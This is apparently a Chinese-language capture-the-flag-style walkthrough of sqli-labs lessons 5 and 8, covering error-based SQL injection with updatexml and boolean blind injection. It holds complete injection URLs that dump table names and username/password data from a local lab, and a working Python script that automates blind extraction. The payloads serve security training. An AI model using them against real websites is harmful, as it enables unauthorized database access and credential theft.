sqllabs通关

sqllabs5:(报错注入)

sql 复制代码
?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '
           
判断是字符型,'闭合。
sql 复制代码
?id=1'order by 3--+    //页面显示正常

我们试了4行得出是报错注入

我们先爆库名

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id='and updatexml(1,concat(0x7e,(select database()),0x7e),3)--+

拿下库名:security

爆表名

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)%20--+

拿下表名

然后爆字段:

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+

爆数据:

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+

数据不完整,因为updatexml()函数的报错内容不超过32个字符,所以我们还需要对数据进行处理

使用substring()函数对结果字符进行处理

sql 复制代码
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),32,64)),1) --+

之后我们就可以不断改变位置,这样我们就可以得到所有数据,后续的操作不再演示

sqllabs8:布尔盲注

报错注入被注释掉了

联合查询只出现you are in ..........

所以这里我们能看见一真一假(页面特征)

不加'时为真

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1

加入'时为假

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

我们可以用布尔盲注

我们数据库名:

security,s的ascii码是115,我们可以一个一个试一试

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-8//?id=1' and ascii(substring((select database()),1,1))=115--+

利用二分法和ASCII码进行渗透:

根据此现象我们写一个python脚本快速进行注入

python 复制代码
import time
import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'


def inject_database(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            # start_time = time.time()
            r = requests.get(url, params=res)
            # end_time = time.time()
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

爆库名;

爆表名:

python 复制代码
payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), %d, 1)) > %d-- " % (i, mid)

爆列名:

python 复制代码
payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), %d, 1)) > %d-- " % (i, mid)

爆数据:

python 复制代码
payload = "1' and ascii(substr((select group_concat(username,'$',password) from users), %d, 1)) > %d-- " % (i, mid)
相关推荐
api茶飘香2 小时前
守护应用边界:通过反射API实现安全的输入输出过滤
java·开发语言·python·安全·django·virtualenv·pygame
xiaojiesec2 小时前
第145天:内网安全-Linux权限维持&Rootkit后门&Strace监控&Alias别名&Cron定时任务
linux·运维·安全
ever_up9734 小时前
EasyExcel的导入与导出及在实际项目生产场景的一下应用例子
java·开发语言·数据库
鹿子铭5 小时前
单线程Redis:Redis为什么这么快
数据库·redis
JSON_L6 小时前
MySQL 事务处理
数据库·mysql
爱打lan球的程序员7 小时前
redis分布式锁和lua脚本
数据库·redis·分布式
说书客啊7 小时前
计算机毕业设计 | springboot旅行旅游网站管理系统(附源码)
java·数据库·spring boot·后端·毕业设计·课程设计·旅游
hummhumm7 小时前
数据库系统 第46节 数据库版本控制
java·javascript·数据库·python·sql·json·database
ac-er88888 小时前
Flask如何创建并运行数据库迁移
数据库·python·flask
传而习乎9 小时前
【Postgresql】地理空间数据的存储与查询,查询效率优化策略,数据类型与查询速度的影响
数据库·postgresql